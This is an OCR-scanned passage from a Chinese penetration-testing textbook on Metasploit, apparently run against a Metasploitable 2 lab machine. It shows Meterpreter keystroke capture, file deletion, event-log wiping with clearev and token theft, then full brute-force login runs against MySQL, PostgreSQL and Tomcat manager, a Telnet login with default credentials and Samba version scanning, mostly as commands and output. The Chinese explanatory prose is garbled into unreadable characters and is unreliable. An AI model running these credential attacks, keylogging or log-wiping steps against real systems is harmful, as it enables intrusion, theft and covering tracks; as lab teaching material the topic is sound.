MSFCONSOLE #:HL® H4r 240 L0 Meterpreter ZE4EES, HI 2] Meterpreter
{Lig Pk #nr . MSFCONSOLE W T HLH F 102515, 1l Meterpreter I Mk 404 A& i%
YibiZe Hoo A4 A1 41 Meterpreter [P H] -

Meterpreter 145 ) — 285 a0 .
help: &G E.
background: fLVFHF{E)5G & Meterpreter 2 i -
download: FiFH] T MR FHL B0
upload: FoVFH P _EALESCAFRIAGZ THL.
execute: JCIVFH P EARZ EHL EHAT a4 .
shell: foiFHl e 2 EHLE (U2 Windows THL) 1247 Windows shell #ir4.
session -i: SOVFH P U2 .
L 4T MSFCONSOLE SES 6. AR08 F .
(1) £ MSFCONSOLE -5 8~ iR i 23 i .
(2) IR RGP G ah Gt i . AT dr S .

meterpreter > keyscan_start
Starting the keystroke sniffer...

Mg H 0045 Borb ol DLE RS AR 2 R 8h.
(3) 3R BEH RS s AT S AT

meterpreter > keyscan_dump
Dumping captured keystrokes...

<Return> www.baidu.com <Return> aaaa <Return> <Back> <Back> <Back> <=Back=>
<Back>

LI (s B3R elgiil 24 b R P S T www.baidu.com, aaaa S [0 7-8E, HHEE.
(4) {abaiakimiE BE 0] P s AT S W FTs

meterpreter > keyscan_stop

=000000o

* 161 «



2R E R r R A

Stopping the keystroke sniffer...

M i A A5 S b rT ELAE 2 s A AR A L

(5) MIBRke ARG L A3k AT dr S F B
meterpreter > del exploited.docx

(6) bRk RS LMFH G AT a7 W F B

meterpreter > clearev
[*] Wiping 57 records from Application...

[*] Wiping 107 records from System...
[¥] Wiping O records from Security...

(7) fhA LB R R . AT fr 20 R Fros:

meterpreter > ps

Process List
PID PPID Name Arch Session User Path
0 0 [System Process] 4294967295
4 0 System x86 0
204 1676 notepad.exe %86 0  AA-BBEOKJMZ26FSW\Test CAWINDOWS\
System32\ notepad.exe
500672 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Program
Files\VMware\WVMware To ols\vmtoolsd.exe
540 4 sSmss.exe %86 0 NTAUTHORITY\SYSTEM\  SystemRoot\
System32\smss.exe
576 120 conime.exe x86 0  AA-BBBOKJMZ6FSW\Test CAWINDOWS\
System32\conime.exe
604 540 CSISS.exe x86 0 NT AUTHORITY\SYSTEM\??\
CAWINDOWS\ system32\csrss.exe
628 540 winlogon.exe x86 0 NTAUTHORITY\SYSTEM\??\
CAWINDOWS\ system32\winlogo n.exe
884 1456 TPAutoConnect.exe x86 0 AA-B860KJM26FSW\Test  C:\Program
Files\WMware\VMwar e Tools\TPAutoConnect.exe
964 672 svchost.exe x86 0 NTAUTHORITY\SYSTEM
1724 1544  vmtoolsd.exe x86 0 AA-BBBOKIMZ2E6FSW\Test C:\Program
Files\WMware\VMware To ols\vmtoolsd.exe
1732 2040 notepad.exe %86 0 AA-B860KIM26FSW\Test
CAWINDOWS\System32\notepad.exe
1736 1544 ctfmon.exe x86 0 AA-8860KJM26FSW\Test
CAWINDOWS\System32\ctfmon.exe
1920 964 wuauclt.exe x86 0 AA-8B60KJM26FSW\Test
CAWINDOWS\System32\wuauclt.exe
1952 736 notepad.exe %86 0 AA-BBBOKJMZEFSW\Test
CAWINDOWS\System32\notepad.exe
1956 1544 |EXPLORE.EXE x86 0 AA-8860KJM26FSW\Test C:\Program
Files\Internet Exploreriiexp lore.exe
2000 1764 notepad.exe x86 0 AA-8860KJM26FSW\Test
CAWINDOWS\System32\notepad.exe
2040 1544 |EXPLORE.EXE x86 0 AA-B860KJIM26FSW\Test C:\Program

Files\Internet Exploreriiexp lore.exe

it S BB R TiRIE &4 IEfE BT AT AR, OfEiEfAE ID &5, R4, &
Ak, H P s TR B A
(8) f#H] kill AALHTF RS P E R . PATa W T s

meterpreter > kill 2040
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Killing: 2040
(9) M RZEOTH MBI AR BT frd o

meterpreter > steal _token
LB, (58 RE 69432, Meterpreter ¥ 69442 RE 09, A LR Y, THRALNL
b

6.4 HiFEBEE A

AT A28 T Armitage, MSFCONSOLE I MSFCLI 43 1 9 St Rl . AT ¥4
#04# Hl MSFCONSOLE T Hi23% iy MySQL &4 FE Rl 55 . PostgreSQL #4li FE i 45 . Tomcat
2% F1 PDF 3L 5%,

6.4.1 BiEWNE MySQL #3EER S

MySQL J2&—~J¢ B YRR PR B A 550, i MySQL AB 2 &) 7%, H il s+ Oracle
23+ . {E Metasploitable 45, MySQL Y B {3 A EAF TERa T . %6 ] B2 ik
et A AR OL E 60 09 S HIE BT R 5 1) MySQL #(diiFe. Bred, H o al BARI AL iz,
AF MySQL Il 4 HE47T123% Boiki o 454 Metasploit HE 2SR T 56 MySQL #0414 (14
feLEy, o LS B H] P A AT E W AN TR A 448 B Metasploit (1) MySQL 44
f it 2B Ml MySQL Bl FER 45 . 123%E 15 Metasploitable 40 MySQL i i R 45
i) B AR e fE 2R 3R B B

(1) Jiz) MSFCONSOLE. 4741 F i

root@kali:~# msfconsole

(2) FHEFTA A MySQL #ible, $hiram 2k roR:

msf = search mysqgl
Matching Modules

Name Disclosure Date Rank
Description

auxiliary/admin/http/rails_devise_pass_reset 2013-01-28  normal Ruby on Rails Devise

Authentication 00:00:00 UTC Password Reset

auxiliary/admin/mysqgl/mysgl_enum normal  MySQL Enumeration Module

auxiliary/admin/mysagl/imysagl_sql normal  MySQL SQL Generic Query

auxiliary/admin/tikiwiki/tikidblib 2006-11-01normal  TikiWiki Information Disclosure
00:00:00 UTC

auxiliary/analyze/jtr_mysql_fast normal John the Ripper MySQL

Password Cracker (Fast Mode)

auxiliary/pro/webaudit/sgli_blind_timing_mysql normal  PRO: MySQL blind SQL

injection module (timing)

auxiliary/scanner/mysql/mysqgl_authbypass 2012-06-09 normal MySQL Authentication

Bypass

_hashdump 00:00:00 UTC Password Dump

auxiliary/scanner/mysql/mysgl_file_enum normal  MYSQL File/Directory Enumerator
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auxiliary/scanner/mysql/mysgl_hashdump normal  MYSQL Password Hashdump
auxiliary/scanner/mysqgl/mysgl_login normal  MySQL Login Utility
auxiliary/scanner/mysaql/mysql_schemadump normal  MYSQL Schema Dump
auxiliary/scanner/mysql/imysgl_version normal  MySQL Server Version Enumeration

auxiliary/server/capture/mysql normal

Authentication Capture: MySQL

exploit/linux/mysgl/mysgl_yassl getname 2010-01-25 goodMySQL yaSSL
CertDecoder::GetName

00:00:00 UTC Buffer Overflow
exploit/linux/mysgl/mysqgl_yassl_hello 2008-01-04 good MySQL yaSSL SS5L
Hello Message

00:00:00 UTC Buffer Overflow
exploit/pro/web/sqgli_mysqgl 2007-06-05  manual SOL injection exploit for
MySQL

00:00:00 UTC
exploit/pro/web/sqli_mysgl_php 2000-05-30  manual SAQL injection exploit for
MySQL

00:00:00 UTC
exploit/unix/webapp/kimai_sqli 2013-05-21 average Kimai v092 ‘'db_
restore.php' SQL

00:00:00 UTC Injection
exploit/unix/webapp/wp_google_document 2013-01-03 normal  WordPress Plugin
Google Document
_embedder_exec 00:00:00 UTC Embedder Arbitrary File
Disclosure
exploit’/windows/mysgl/mysgl_mof 2012-12-01 excellent Oracle MySQL for
Microsoft Windows

00:00:00 UTC MOF Execution
exploit/windows/mysgl/mysql_payload 2009-01-16 excellent Oracle MySQL for
Microsoft Windows

00:00:00 UTC Payload Execution
exploit/windows/mysgl/mysql_yassl_hello 2008-01-04 average MySQL yaSSL SSL
Hello Message

00:00:00 UTC Buffer Overflow
exploit'windows/mysgl/scrutinizer 2012-07-27 excellent Plixer Scrutinizer

NetFlow and sFlow
_upload _exec 00:00:00UTC
postlinux/gather/enum_configsnormal

post/linux/gather/fenum_users_history
msf >

Analyzer 9 Default MySQL Credential
Linux Gather Configurations

normal

Linux Gather User History

firth A5 B 27n T MySQL L r HIREEH . MIXLEHibh, R s Ao M it AT

Jj{lhn
(3) X B MySQL st . T an 4 F FToR:

msf > use auxiliary/scanner/mysqgl/mysgl_login
msf auxiliary(mysqgl_login) =

(4) GBI REE . AT a2 F s,

msf auxiliary(mysgl_login) > show options
Module options (auxiliary/scanner/mysql/mysql_login):

Name Current Setting Required Description

BLANK_PASSWORDS true no
BRUTEFORCE_SPEED 5 yes
DB_ALL CREDS false no

Try blank passwords for all users
How fast to bruteforce, from 0 to 5
Try each user/password couple stored in the
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current database

DB _ALL_PASS false no Add all passwords in the current database to the
list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 3306 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS FILE no File containing users and passwords separated by
space, one

pair per line
USER_AS_PASS true no Try the username as the password for all users
USEE_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts

PL S B2 T7E mysql login BB ROl S A3 . M4 H A 25 T LG 3 5
A T P9AME R, SR AR, AR E . SR E . P Required 2 yes f2E T 2
AR E ), B2 oL HICE . 6 F e . Description #5747 HIR ) /144

(5) MBI E Hbn RS, M P SCFRE I SR E . Ao 2 s

msf auxiliary(mysgl_login) > set RHOSTS 192.168.41.142

RHOST => 192.168.41.142

msf auxiliary(mysgl_login) > set user_file /root/Desktop/usernames.txt

user_file => /root/Desktop/usernames.txt

msf auxiliary(mysgl_login) > set pass_file /root/Desktop/passwords.txt
pass_file => [root/Desktop/passwords.txt

PL S B E T Hbr RGN hlE, B2 oS o eg .
(6) JHahiBIENd. TSI F R

msf auxiliary(mysgl_login) > exploit
[deprecated] 118n.enforce_available_locales will default to true in the future. If you really want to
skip validation of your locale you can set 118n.enforce_available_locales = false to avoid this

message.
[*] 192.168.41.142:3306 MYSQL - Found remote MySQL version 5.0.51a

[+] 192.168.41.142:3306 MYSQL - [01/40] - Trying username:'sa’ with password:"

[-] Access denied
[*] 192.168.41.142:3306 MYSQL - [02/40] - Trying username:‘root’ with password:"

[+] 192.168.41.142:3306 - SUCCESSFUL LOGIN 'root' : "
[+] 192.168.41.142:3306 MYSQL - [03/40] - Trying username:'bob' with password:"

[-] Access denied
[*] 192.168.41.142:3306 MYSQL - [04/40] - Trying username:'ftp' with password:"

[-] Access denied
[*] 192.168.41.142:3306 MYSQL - [05/40] - Trying username:'apache’ with password:"

[-] Access denied
[#] 192.168.41.142:3306 MYSAL - [06/40] - Trying username:'named' with password:"

[-] Access denied
[+] 192.168.41.142:3306 MYSQL - [07/40] - Trying username:'sa' with password:'sa’
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[-] Access denied
[#] 192.168.41.142:3306 MYSQL - [35/40] - Trying username:'named' with password:'password'

[-] Access denied
[#] Scanned 1 of 1 hosts (100% complete)

[+#] Auxiliary module execution completed

it 5 RSB EEGEN AR, Sal A R R iR P A4/ SR [ R P 44 A
ik MySQL 4%, {1-_@;@.ﬁ¢-.|”~_f.{t|l, Metasploit 23 22 i3 N\ H 7 24 0 i o4y
MR P RS & M Brb T BUE 3, St i MySQL s e il 4525 Y F
P A B A ) HE root I password .

6.4.2 BB T PostgreSQL HiEER %

PostgreSQL =1~ 1 B 114 % KABRYAEFER S (CHARFRE RS o EEAinn
BSD-JH BTl E FAAr. 95— h b msfeonsole B, Kali 1Y) Metasploit <5 @l 4 4§51 4
msf3 ' PostgreSQL A fE, JFAmifffriZ ENAEGE v mddi . K5, EHAHN
msf3 (7, BEEERER msf3 Sl . prik, Bl vl LLRIRZE R e B s s 2
PostgreSQL ﬂﬂ"—!*’}fg A pAAG A2 AE B Metasploit 1] PostgreSQL 14 5 iz 3% Xk
PostgreSQL F4 14 I 55 . iBiE G PostgreSQL Hdhs e AR 45 1 HAASAE AL AR F By s .

(1) Jiialh MSFCONSOLE. 47 @4l R 7.

root@kali:~# msfconsole
(2) 8RBT 50 PostgreSQL FEHL. $T 401~ Froi:

msf > search postgresql
Matching Modules

Name Disclosure Date Rank Description

auxiliary/fadmin/http/rails_devise pass reset 2013-01-28 normal  Ruby on Rails Devise

00:00:00 UTC Authentication
Password Reset
auxiliary/admin/postgres/postgres_readfile normal PostgreSQL  Server  Generic
Query
auxiliary/admin/postgres/postgres_sql normal PostgreSQL  Server  Generic
Query
auxiliary/scanner/postgres/postgres normal  PostgreSQL Database Name
dbname_flag_injection Command Line Flag Injection
auxiliary/scanner/postgres/postgres_login normal  PostgreSQL Login Utility
auxiliary/scanner/postgres/postgres_version normal PostgreSCQL Version Probe
auxiliary/server/capture/postgresqgl normal  Authentication Capture:
PostgreSQL
exploit/linux/postgres/postgres payload 2007-06-05 excellent PostgreSQL for Linux
Payload

00:00:00 UTC Execution
exploit/pro/web/sqli_postgres 2007-06-05 manual SQL injection exploit for
PostgreSQL

00:00:00 UTC
exploit'windows/postgres/postgres_payload  2009-04-10 excellent PostgreSQL for
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Microsoft Windows
00:00:00 UTC Payload Execution

PLEAS R T PostgreSQL BT AT AHICIABTHL . e vl A FAH I ) BEBIE AT Bty
(3) fiH] PostgreSQL 44ttt $0AT fir &1 FHT7R:

msf > use auxiliary/scanner/postgres/postgres_login

(4) Fifi PostgreSQL Bl A7 IET0 . AT a2t B fr s

msf auxiliary(postgres_login) = show options
Module options (auxiliary/scanner/postgres/postgres_login):

Name Current Setting Required Description

BLANK true no Try blank passwords for all users
PASSWORDS
BRUTEFORCE_ 5 yes How fast to bruteforce, from 0 to 5
SPEED
DATABASE template yes The database to authenticate against
DB _ALL CREDS false no Try each user/password couple stored
inthe current database
DB ALL PASS false no Add all passwords in the current
database to the list
DB ALL USERS false no Add all users in the current database to
the list
PASSWORD no A specific password to authenticate
with
PASS FILE fopt/metasploit/apps/pro/msf3/data/wordlists/postgres default_pass.txt

no File containing passwords, one per line
RETURN ROWSET true no Set to true to see query result sets
RHOSTS yes The target address range or CIDR
identifier
RPORT 5432 yes The target port
STOP_ON_ false yes Stop guessing when a credential works
for a host
SUCCESS
THREADS 1 yes The number of concurrent threads
USERNAME postgres no A specific username to authenticate as
USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt

no File containing (space-seperated) users
and

passwords, one pair per line

USER_AS PASS true no Try the username as the password for
all users
USER_FILE lopt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_user.txt

no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts

LLEAG 2 7R T postgres login #blerp o] it B Ak 0. #2458 F P A Bk ig i, R4
TR TEC A .
(5) fiiH] RHOST Xz & Hbr R4S (Afilrh 2 Metasploitable 2) . 472 T .

msf auxiliary(postgres_login) > set RHOSTS 192.168.41.142
RHOST => 192.168.41.142
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(6) fRH P A3k AT a2 B

msf auxiliary(postgres login) > set user file /usr/share/metasploit- framework/data/wordlists/
postgres default user.txt
user_file == /usr/share/metasploit-framework/data/wordlists /postgres_default_user.txt

(7) fREE . AT a2 W R FroR:

msf auxiliary(postgres _login) > set pass_file /usr/share/metasploit- framework/data/wordlists/
postgres_default_pass.txt
pass_file == /usr/share/metasploit-framework/data/wordlists/ postgres_default_pass.txt

(8) Jzfrigid st AT 4 TR,

msf auxiliary(postgres_login) > exploit
[¥] 192.168.41.142:5432 Postgres - [01/21] - Trying username:'postgres’ with password:" on
database 'template1'
[-] 192.168.41.142:5432 Postgres - Invalid username or password: 'postgres”"
[-] 192.168.41.142:5432 Postgres - [01/21] - Username/Password failed.
[*] 192.168.41.142:5432 Postgres - [02/21] - Trying username:” with password." on database
‘template1’
[[] 192.168.41.142:5432 Postgres - Invalid username or password: ™"
[-] 192.168.41.142:5432 Postgres - [02/21] - Username/Password failed.
[#] 192.168.41.142:5432 Postgres - [03/21] - Trying username:'scott' with password:" on database
‘template1’
[-[] 192.168.41.142:5432 Postgres - Invalid username or password: 'scott’.”
[-] 192.168.41.142:5432 Postgres - [03/21] - Username/Password failed.
[*] 192.168.41.142:5432 Postgres - [04/21] - Trying username:'admin’ with password:™" on
database 'template1'
[-[] 192.168.41.142:5432 Postgres - Invalid username or password: 'admin’."
[-] 192.168.41.142:5432 Postgres - [04/21] - Username/Password failed.
[*] 192.168.41.142:5432 Postgres - [05/21] - Trying username:'postgres’ with
password:'postgres’ on database 'template1’
[+] 192.168.41.142:5432 Postgres - Logged in to 'template1® with ‘postgres’:'postgres’
[+] 192.168.41.142:5432 Postgres - Success: postgres:postgres (Database ‘template’
succeeded.)
[*] 192.168.41.142:5432 Postgres - Disconnected
[*] 192.168.41.142:5432 Postgres - [06/21] - Trying username:'scott' with password:'scott’ on

database 'template?’

[-] 192.168.41.142:5432 Postgres - Invalid username or password: 'scott’'scott’

[-] 192.168.41.142:5432 Postgres - [06/21] - Username/Password failed.

[¥] 192.168.41.142:5432 Postgres - [07/21] - Trying username:'admin’ with password:'admin' on

database ‘template1'
[-]1 192.168.41.142:5432 Postgres - Invalid username or password: "scott':"admin’
[-] 192.168.41.142:5432 Postgres - [16/21] - Username/Password failed.
[#] 192.168.41.142:5432 Postgres - [17/21] - Trying username:'admin’ with password:'tiger' on
database 'template1'
[-] 192.168.41.142:5432 Postgres - Invalid username or password: 'admin’:'tiger’
[-] 192.168.41.142:5432 Postgres - [17/21] - Username/Password failed.
[#] 192.168.41.142:5432 Postgres - [18/21] - Trying username:'admin’ with password:'postgres’' on
database ‘template1’
[-] 192.168.41.142:5432 Postgres - Invalid username or password: 'admin’:'postgres’
[-] 192.168.41.142:5432 Postgres - [18/21] - Username/Password failed.
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[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

L F A A5 B2 PostgreSQL 723 ki (1 — it B2 . A F] PostgreSQL £ e fil 4%
(11 H] P 44 RS s 45 7)) 2 Postgres Fll Postgres.

6.4.3 Zi1EWF Tomcat RS

Tomcat Jij 45 %5550 2% 09 FF SIS ) Web W H AR5 45 . & 0] LZEATEE Linux F1
Windows 5246 Lo IR . §7 REVELF A0 2 S A sz N H P ) .
Hup, B 48k 2 51 Java Web SN H #IE AT Tomeat fi 5545 L. Tomcat ELAAFAE
AERIG S, BAME E AR R http:/TP 5l 44 3 1 /manager/html.. LIS &, WTLAZE
AT Tomeat iR MG O0 F A EHESESE . 8. 45010 EEIEE Web MR (HUE G0 HEAC B AN

MEAFEIR R e . BOhAE A H X AR, wTREERPE . Bz Hli
Frv o AT A 41BN Tomeat RS 77 ik . 123E Hh Tomeat IR 550 H s fE 2D
wnr s

(1) Ji5 MSFCONSOLE., AT #r4n F i

root@kali:~# msfconsole

(2) EITH AN Tomeat Bid, AT S0 F Fras:

msf = search tomcat
Matching Modules

MName Disclosure Date  Rank Description
auxiliary/admin/http/tomcat_administration normal Tomcat  Administration  Tool
Default Access
auxiliary/admin/http/tomcat_utf§ normal  Tomcat UTF-8 Directory Traversal
Vulnerability
traversal
auxiliary/admin/http/trendmicro_dlp_ normal  TrendMicro Data Loss Prevention
5.5 Directory
traversal Traversal
auxiliary/dos/http/apache 2010-07-09 normal  Apache Tomcat
Transfer-Encoding Information
tomcat_transfer_encoding 00:00:00 UTC Disclosure and DoS
auxiliary/dos/http/hashcollision_dos 2011-12-28 normal  Hashtable Collisions

00:00:00 UTC
auxiliary/scanner/http/tomcat_enum normal  Apache Tomcat User Enumeration
auxiliary/scanner/http/tomcat_mgr_ normal Tomcat Application Manager
Login Utility
login
exploit/multi/http/struts_default 2013-07-02  excellent Apache Struts 2
DefaultActionMapper Prefixes
action_mapper 00:00:00 UTC OGNL Code Execution
exploit/multi‘http/tomcat_mgr_ 2009-11-09 excellent Apache Tomcat Manager
Application Deployer
deploy 00:00:00 UTC Authenticated Code Execution
post/windows/gather/enum_tomcat normal  Windows Gather Apache Tomcat

Enumeration
PL S AOE BB T Tomeat AR 00T FIEH: . BIAE H 2 o] Lk 5 Bt i Bidle,
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WEATBE NG
(3) {FH] Tomcat & H Fap BT IBEGE . AT a0 F s
msf auxiliary(postgres_login) = use auxiliary/scanner/http/ tomcat_mgr_login
(4) A7 tomecat_mgr login HLELTIAT AUEI . PUAT a2 W1 B P

msf auxiliary(tomcat_mgr_login) > show options
Module options (auxiliary/scanner/http/tomcat_mgr_login):

Name Current Setting Required Description
BLANK_PASSWORDS true no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, rom 0to 5
DE_ALL CREDS false no Try each user/password couple stored in the
current
database
DB _ALL_PASS false no Add all passwords in the current database to
the list
DB_ALL_USERS false no Add all users in the current database to the
list
PASSWORD no A specific password to authenticate with
PASS FILE
lopt/metasploit/apps/pro/msf3/data/wordlists/tomcat_mgr_default_pass.txt

no File containing passwords, one per line
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 8080 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a
host
THREADS 1 yes The number of concurrent threads
URI /manager/html

yes URI for Manager login. Default is
fmanager/html
USERNAME no A specific username to authenticate as

USERPASS FILE
lopt/metasploit/apps/pro/msf3/data/wordlists/tomcat_mgr_default_userpass.txt
no File containing wusers and passwords
separated by space,
one pair per line

USER_AS_PASS true no Try the username as the password for all
users
USER_FILE
lopt/metasploit/apps/pro/msf3/data/wordlists/tomcat_mgr_default_users.txt
no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host

LL St 5 BB s T tomeat_mgr login Bl A7 20k I, eI F - o] LLIZE FRAH B
R, EATRCE
(5) Bt Pass_File Tl 447 a1 K Ffros.

msf auxiliary(tomecat_magr_login) > set PASS FILE lusrishare/metasploit-
framework/data/wordlists/tomcat_mgr_default_pass.txt
PASS FILE == /usr/share/metasploit-framework/data/wordlists/ tomcat_mgr_default_pass.txt

Dbt h ISR TN ek R R RIDE RO K
(6) ¥'E User File ¥ET. 04T 400 Fn:
msf auxiliary(tomcat_mgr_login) = set USER_FILE /usr/share/metasploit-
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framework/data/wordlists/tomcat_mgr_default_users.txt
USER_FILE == /usr/share/metasploit-framework/data/wordlists/ tomcat_mgr_default users.ixt

L 5 BB s T F P g SO P BR AR

(7) fiiH] RHOSTS JEI0 1% % F b5 45 (A4 4 [F) & Metasploitable 2) . 4T fir 4>
TR

msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.41.142

RHOSTS => 192.168.41.142

it s B RIRE Boh ) H bR RGN 192.168.41.142.
(8) %' RPORT 1IN A 8180. AT drS U F AT .

msf auxiliary(tomcat_mgr_login) > set RPORT 8180
RPORT == 8180

PL A B i T By H br & FER i 115 24 8180,
(9) ZiTiBEN . AT W F R

msf > exploit

[#] 192.168.41.142:8180 TOMCAT_MGR - [01/63] - Trying username:" with password:"

[-] 192.168.41.142:8180 TOMCAT_MGR - [01/63] - /manager/html| [Apache-Caoyote/1.1] [Tomcat
Application Manager] failed to login as "

[*] 192.168.41.142:8180 TOMCAT_MGR - [02/63] - Trying username:'admin’ with password:"

[-] 192.168.41.142:8180 TOMCAT_MGR - [02/63] - /manager/html| [Apache-Caoyote/1.1] [Tomcat
Application Manager] failed to login as 'admin’

[¥] 192.168.41.142:8180 TOMCAT_MGR - [12/63] - Trying username:"xampp' with password:"

[-] 192.168.41.142:8180 TOMCAT_MGR - [12/63] - /manager/html| [Apache-Cayote/1.1] [Tomcat
Application Manager] failed to login as 'xampp'

[+] 192.168.41.142:8180 TOMCAT_MGR - [13/63] - Trying username:'admin' with
password:'admin’

[-] 192.168.41.142:8180 TOMCAT_MGR - [13/63] - /manager/html| [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as ‘admin’

[*] 192.168.41.142:8180 TOMCAT_MGR - [14/63] - Trying username:'manager with
password:'manager’

[[] 192.168.41.142:8180 TOMCAT_MGR - [14/63] - /manager/html [Apache-Coyote/1.1] [Tomcat

Application Manager] failed to login as 'manager'
[#] 192.168.41.142:8180 TOMCAT_MGR - [15/63] - Trying username:‘role1' with password:'role1'

[-] 192.168.41.142:8180 TOMCAT _MGR - [15/63] - /manager/htm| [Apache-Coyote/1.1] [Tomcat

Application Manager] failed to login as 'role?’
[#] 192.168.41.142:8180 TOMCAT_MGR - [16/63] - Trying username:'root’ with password:'root'

[-] 192.168.41.142:8180 TOMCAT _MGR - [16/63] - /manager/htm| [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as "roof’

[«] 192.168.41.142:8180 TOMCAT_MGR - [17/63] - Trying username:'tomcat’ with
password:'tomcat’

[+] http://192.168.41.142:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application
Manager] successful login ‘tomcat' : ‘tomcat’

[*] 192.168.41.142:8180 TOMCAT_MGR - [18/63] - Trying username:'both’ with password:'both’
[-] 192.168.41.142:8180 TOMCAT_MGR - [18/63] - /manager/html| [Apache-Caoyote/1.1] [Tomcat

Application Manager] failed to login as 'both'
[#] 192.168.41.142:8180 TOMCAT_MGR - [58/63] - Trying username:'both' with password:'s3cret’
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[-] 192.168.41.142:8180 TOMCAT_MGR - [58/63] - /manager/html [Apache-Coyote/1.1] [Tomcat

Application Manager] failed to login as 'both’
[*] Scanned 1 of 1 hosts (100% complete)

[+] Auxiliary module execution completed

PL B S R Bor T EGE Tomeat FRE il FE. Mo aY &5 Bvpn] BLE 315 5
Tomcat 255 11 F P 44 #1545 4 tomeat .

6.4.4 BB Telnet BRE

Telnet k554 Fh “ & F /iR 55457 K, 7E%E> Telnet iz 47 FHRUFE AR b 2 B4R
PN, a3 J : Telnet 55 a4 1 Telnet 7 1 4. 1 J'Tf:lnet- Aol R A S S s
(r1, BT BLIFAS 224 . JX Highn] LLf#E H] Metasplolit =] f1)- wH, n] LR Y Telnet AR 45 (1)
H P 4 fE . IHfF:fr?H?%JﬁJ;{J|r Telnet Il 45 .

(1) JHgh MSF P AT RS W R PR

root@kali:~# msfconsole

msf=

(2) {#H] telnet_version fike, HArH AN E S5, ATH S WF FR:

msf = use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) = show options
Module options (auxiliary/scannerftelnet/telnet_version):

Name Current Setting Required Description

PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
RPORT 23 yes The target port

THREADS 1 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the Telnet probe

USERNAME no The username to authenticate as

Mo r{E B, o RUE BT DU~ DAl i Tl . Horp = Mg e mid s, IPEid S
RHOSTS 10 .
(3) ECE RHOSTS L5, JFEzhiid. $arasSa Firs:

msf auxiliary(telnet_version) = set RHOSTS 192.168.6.105
RHOSTS => 192.168.6.105
msf auxiliary(telnet_version) = exploit

[#] 192.168.6.105:23 TELNET

0a _||______||_{_}|___||_|| HxﬂaT'_‘_U_‘n_f_‘f

PNV PNV N ) O0al [ O ‘tI}II{_‘JIIIILIIL}II _I_d
\x0a_| || S L S B | AN N [x0a
|| \x0a\x0a\x0aWarning: Never expose this VM to

an untrusted network!\xOa\xOaContact:  msfdev[atimetasploit.com\x0a\x0aLogin  with
msfadmin/msfadmin to get started\x0a\x0a\x0Oametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

ML Egr s B O0E B3 0AR R B (2 FEix 5 Brpal U 3], o T Telnet
(1) 0 AE {5 B Login with msfadmin/msfadmin to get started. MiX4<{5 8, af LS H
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b L Telnet HE 4519 H] P 42 08 5480 8 msfadmin. IR 0] PSR 8 5t
(4) FatHArEHLE Telnet 5. A AT0r200 F B as:

root@kali:~# telnet -| msfadmin 192.168.6.105

Trying 192.168.6.105...

Connected to 192.168.6.105.

Escape character is ']

Password: #1515 58 msfadmin

Last login: Tue Jul 8 06:32:46 EDT 2014 on tty1

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/+/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:

hitp://help.ubuntu.com/

No mail.

msfadmin@metasploitable:~$

fE R OR T B R Temet MR MM E . fEH R FE H
msfadmm@mctaeplmtablc SEUREF, WFRRI G T Telnet Ji% . MEI AT LABAT— 2645
HER Linux @4, BI00, 866 ZALOMRA, 34T 640 F .

msfadmin@metasploitable:~$ id

uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),

25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(samb

ashare), 1000(msfadmin)

it A5 BV B T msfadmin B P A SCHE B I, gid o groups 1 AMEHIK S
I P IREEAAL, groups LA I 5 b i P BN

6.4.5 BiEWH Samba IR

Samba ft-E 5L SMB (Server Messages Block) il FEF& T = /4T el
LS RS HIFER . Samba 95 A5 M SR 1145 139 Fi1 445 25, HEIF R8G5, L
| HEA7 7L Samba [k S5 Ffia G . FIRCEE /4797205 X0 Samba 5545 .

(1) Jiiah MSF #8847 a2 W FBs.

root@kali:~# msfconsole

msf>

(2) {#H] smb_version #itl, JFEFFHIZHEHA]ECE A EM B AL AT SR TR,

msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):

Name Current Setting Raqmred Description

RHOSTS yes The target address range or CIDR identifier
SMBDomain WORKGROUFP no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as

THREADS 1 yes The number of concurrent threads
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(3) Bl RHOSTS #5047 @5 F iros:

msf auxiliary(smb_version) = set RHOSTS 192.168.6.105
RHOSTS == 192.168.6.105

(4) JashHF. AT F k.

msf auxiliary(smb_version) > exploit
[*] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown)

(domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

M (s Eeb, AT BUSE #4948 3 IE A2 i2 771 Samba [l 9538 S ALRUA

. Metasploit H{ff ] smb_version #ith, n] LAFEE 14 5 M &5 N Frf7i2 17 Samba
